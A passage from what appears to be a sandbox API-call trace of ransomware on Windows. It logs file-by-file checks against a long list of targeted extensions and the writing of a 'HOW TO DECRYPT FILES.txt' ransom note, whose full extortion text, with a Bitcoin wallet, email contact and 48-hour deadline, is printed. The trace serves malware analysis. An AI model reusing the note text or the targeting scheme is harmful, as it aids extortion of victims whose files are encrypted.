pszSpec="*.qbm") returned 0 [0126.973] lstrlenA (lpString="*.qbm") returned 5 [0126.973] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.qbo") returned 0 [0126.973] lstrlenA (lpString="*.qbo") returned 5 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.qbx") returned 0 [0126.974] lstrlenA (lpString="*.qbx") returned 5 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.qba") returned 0 [0126.974] lstrlenA (lpString="*.qba") returned 5 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.qby") returned 0 [0126.974] lstrlenA (lpString="*.qby") returned 5 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.qbj") returned 0 [0126.974] lstrlenA (lpString="*.qbj") returned 5 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.ofx") returned 0 [0126.974] lstrlenA (lpString="*.ofx") returned 5 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.qif") returned 0 [0126.974] lstrlenA (lpString="*.qif") returned 5 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.mye") returned 0 [0126.974] lstrlenA (lpString="*.mye") returned 5 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.mbox") returned 0 [0126.974] lstrlenA (lpString="*.mbox") returned 6 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.eml") returned 0 [0126.974] lstrlenA (lpString="*.eml") returned 5 [0126.974] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.pst") returned 0 [0126.974] lstrlenA (lpString="*.pst") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.ost") returned 0 [0126.975] lstrlenA (lpString="*.ost") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.idx") returned 0 [0126.975] lstrlenA (lpString="*.idx") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.dbx") returned 0 [0126.975] lstrlenA (lpString="*.dbx") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.sql") returned 0 [0126.975] lstrlenA (lpString="*.sql") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.mdb") returned 0 [0126.975] lstrlenA (lpString="*.mdb") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.fdb") returned 0 [0126.975] lstrlenA (lpString="*.fdb") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.wab") returned 0 [0126.975] lstrlenA (lpString="*.wab") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.dat") returned 0 [0126.975] lstrlenA (lpString="*.dat") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.txt") returned 0 [0126.975] lstrlenA (lpString="*.txt") returned 5 [0126.975] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.jpeg") returned 0 [0126.976] lstrlenA (lpString="*.jpeg") returned 6 [0126.976] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.jpg") returned 0 [0126.976] lstrlenA (lpString="*.jpg") returned 5 [0126.976] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.png") returned 0 [0126.976] lstrlenA (lpString="*.png") returned 5 [0126.976] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.php") returned 0 [0126.976] lstrlenA (lpString="*.php") returned 5 [0126.976] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.cs") returned 0 [0126.976] lstrlenA (lpString="*.cs") returned 4 [0126.976] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.cpp") returned 0 [0126.976] lstrlenA (lpString="*.cpp") returned 5 [0126.976] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.rar") returned 0 [0126.976] lstrlenA (lpString="*.rar") returned 5 [0126.976] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.zip") returned 0 [0126.976] lstrlenA (lpString="*.zip") returned 5 [0126.976] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.html") returned 0 [0126.976] lstrlenA (lpString="*.html") returned 6 [0126.976] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.htm") returned 0 [0126.977] lstrlenA (lpString="*.htm") returned 5 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.xlsx") returned 0 [0126.977] lstrlenA (lpString="*.xlsx") returned 6 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.xls") returned 0 [0126.977] lstrlenA (lpString="*.xls") returned 5 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.mp4") returned 0 [0126.977] lstrlenA (lpString="*.mp4") returned 5 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.ppt") returned 0 [0126.977] lstrlenA (lpString="*.ppt") returned 5 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.pptx") returned 0 [0126.977] lstrlenA (lpString="*.pptx") returned 6 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.doc") returned 0 [0126.977] lstrlenA (lpString="*.doc") returned 5 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.dot") returned 0 [0126.977] lstrlenA (lpString="*.dot") returned 5 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.docx") returned 0 [0126.977] lstrlenA (lpString="*.docx") returned 6 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.7z") returned 0 [0126.977] lstrlenA (lpString="*.7z") returned 4 [0126.977] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.tar") returned 0 [0126.978] lstrlenA (lpString="*.tar") returned 5 [0126.978] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.bz2") returned 0 [0126.978] lstrlenA (lpString="*.bz2") returned 5 [0126.978] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.gz") returned 0 [0126.978] lstrlenA (lpString="*.gz") returned 4 [0126.978] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.mkv") returned 0 [0126.978] lstrlenA (lpString="*.mkv") returned 5 [0126.978] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.eml") returned 0 [0126.978] lstrlenA (lpString="*.eml") returned 5 [0126.978] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.msg") returned 0 [0126.978] lstrlenA (lpString="*.msg") returned 5 [0126.978] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.edb") returned 0 [0126.978] lstrlenA (lpString="*.edb") returned 5 [0126.978] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.accdb") returned 0 [0126.978] lstrlenA (lpString="*.accdb") returned 7 [0126.978] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.odb") returned 0 [0126.978] lstrlenA (lpString="*.odb") returned 5 [0126.978] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.java") returned 0 [0126.978] lstrlenA (lpString="*.java") returned 6 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.asm") returned 0 [0126.979] lstrlenA (lpString="*.asm") returned 5 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.pfx") returned 0 [0126.979] lstrlenA (lpString="*.pfx") returned 5 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.pem") returned 0 [0126.979] lstrlenA (lpString="*.pem") returned 5 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.p12") returned 0 [0126.979] lstrlenA (lpString="*.p12") returned 5 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.gpg") returned 0 [0126.979] lstrlenA (lpString="*.gpg") returned 5 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.vsd") returned 0 [0126.979] lstrlenA (lpString="*.vsd") returned 5 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.odg") returned 0 [0126.979] lstrlenA (lpString="*.odg") returned 5 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.raw") returned 0 [0126.979] lstrlenA (lpString="*.raw") returned 5 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.nef") returned 0 [0126.979] lstrlenA (lpString="*.nef") returned 5 [0126.979] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.svg") returned 0 [0126.980] lstrlenA (lpString="*.svg") returned 5 [0126.980] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.psd") returned 0 [0126.980] lstrlenA (lpString="*.psd") returned 5 [0126.980] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.vmx") returned 0 [0126.980] lstrlenA (lpString="*.vmx") returned 5 [0126.980] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.vmdk") returned 0 [0126.980] lstrlenA (lpString="*.vmdk") returned 6 [0126.980] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.vdi") returned 0 [0126.980] lstrlenA (lpString="*.vdi") returned 5 [0126.980] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.lay6") returned 0 [0126.980] lstrlenA (lpString="*.lay6") returned 6 [0126.980] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.mpeg") returned 0 [0126.980] lstrlenA (lpString="*.mpeg") returned 6 [0126.980] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.djvu") returned 0 [0126.980] lstrlenA (lpString="*.djvu") returned 6 [0126.980] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.tiff") returned 0 [0126.980] lstrlenA (lpString="*.tiff") returned 6 [0126.980] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.backup") returned 0 [0126.981] lstrlenA (lpString="*.backup") returned 8 [0126.981] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.pdf") returned 0 [0126.981] lstrlenA (lpString="*.pdf") returned 5 [0126.981] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.cert") returned 0 [0126.981] lstrlenA (lpString="*.cert") returned 6 [0126.981] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.docm") returned 0 [0126.981] lstrlenA (lpString="*.docm") returned 6 [0126.981] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.xlsm") returned 0 [0126.981] lstrlenA (lpString="*.xlsm") returned 6 [0126.981] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.dwg") returned 0 [0126.981] lstrlenA (lpString="*.dwg") returned 5 [0126.981] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.nd") returned 0 [0126.981] lstrlenA (lpString="*.nd") returned 4 [0126.981] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.tlg") returned 0 [0126.981] lstrlenA (lpString="*.tlg") returned 5 [0126.981] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.lgb") returned 0 [0126.981] lstrlenA (lpString="*.lgb") returned 5 [0126.981] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.mov") returned 0 [0126.982] lstrlenA (lpString="*.mov") returned 5 [0126.982] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.xdw") returned 0 [0126.982] lstrlenA (lpString="*.xdw") returned 5 [0126.982] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.ods") returned 0 [0126.982] lstrlenA (lpString="*.ods") returned 5 [0126.982] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.wav") returned 0 [0126.982] lstrlenA (lpString="*.wav") returned 5 [0126.982] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.mp3") returned 0 [0126.982] lstrlenA (lpString="*.mp3") returned 5 [0126.982] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.aiff") returned 0 [0126.982] lstrlenA (lpString="*.aiff") returned 6 [0126.982] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.flac") returned 0 [0126.982] lstrlenA (lpString="*.flac") returned 6 [0126.982] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.m4a") returned 0 [0126.982] lstrlenA (lpString="*.m4a") returned 5 [0126.982] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.csv") returned 0 [0126.982] lstrlenA (lpString="*.csv") returned 5 [0126.982] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd37fe3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfd37fe3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0b8873, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_WindowsMediaPlayer.ps1", cAlternateFileName="")) returned 1 [0126.983] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.983] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_WindowsMediaPlayer.ps1") returned -1 [0126.983] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_WindowsMediaPlayer.ps1") returned -1 [0126.983] lstrcmpiA (lpString1="", lpString2="TS_WindowsMediaPlayer.ps1") returned -1 [0126.983] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1") returned="TS_NetworkCacheCorrupted.ps1" [0126.983] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" [0126.983] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="" [0126.983] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" [0126.983] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt")) returned 0xffffffff [0126.983] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.983] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0126.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0126.984] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.984] CloseHandle (hObject=0xffffffff) returned 0 [0126.984] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="TS_WindowsMediaPlayer.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1" [0126.984] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.ems") returned 0 [0126.984] lstrlenA (lpString="*.ems") returned 5 [0126.984] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.db") returned 0 [0126.984] lstrlenA (lpString="*.db") returned 4 [0126.984] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.dbf") returned 0 [0126.984] lstrlenA (lpString="*.dbf") returned 5 [0126.984] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.myox") returned 0 [0126.984] lstrlenA (lpString="*.myox") returned 6 [0126.984] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.myo") returned 0 [0126.984] lstrlenA (lpString="*.myo") returned 5 [0126.984] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.qbw") returned 0 [0126.984] lstrlenA (lpString="*.qbw") returned 5 [0126.985] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.qbb") returned 0 [0126.985] lstrlenA (lpString="*.qbb") returned 5 [0126.985] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.qbm") returned 0 [0126.985] lstrlenA (lpString="*.qbm") returned 5 [0126.985] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.qbo") returned 0 [0126.985] lstrlenA (lpString="*.qbo") returned 5 [0126.985] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.qbx") returned 0 [0126.985] lstrlenA (lpString="*.qbx") returned 5 [0126.985] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.qba") returned 0 [0126.985] lstrlenA (lpString="*.qba") returned 5 [0126.985] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.qby") returned 0 [0126.985] lstrlenA (lpString="*.qby") returned 5 [0126.985] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.qbj") returned 0 [0126.985] lstrlenA (lpString="*.qbj") returned 5 [0126.985] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.ofx") returned 0 [0126.985] lstrlenA (lpString="*.ofx") returned 5 [0126.985] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.qif") returned 0 [0126.985] lstrlenA (lpString="*.qif") returned 5 [0126.986] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.mye") returned 0 [0126.986] lstrlenA (lpString="*.mye") returned 5 [0126.986] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.mbox") returned 0 [0126.986] lstrlenA (lpString="*.mbox") returned 6 [0126.986] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_WindowsMediaPlayer.ps1", pszSpec="*.eml") returned 0 [0126.986] lstrlenA (lpString="*.eml") returned 5 [0126.986] PathMatchSpecA 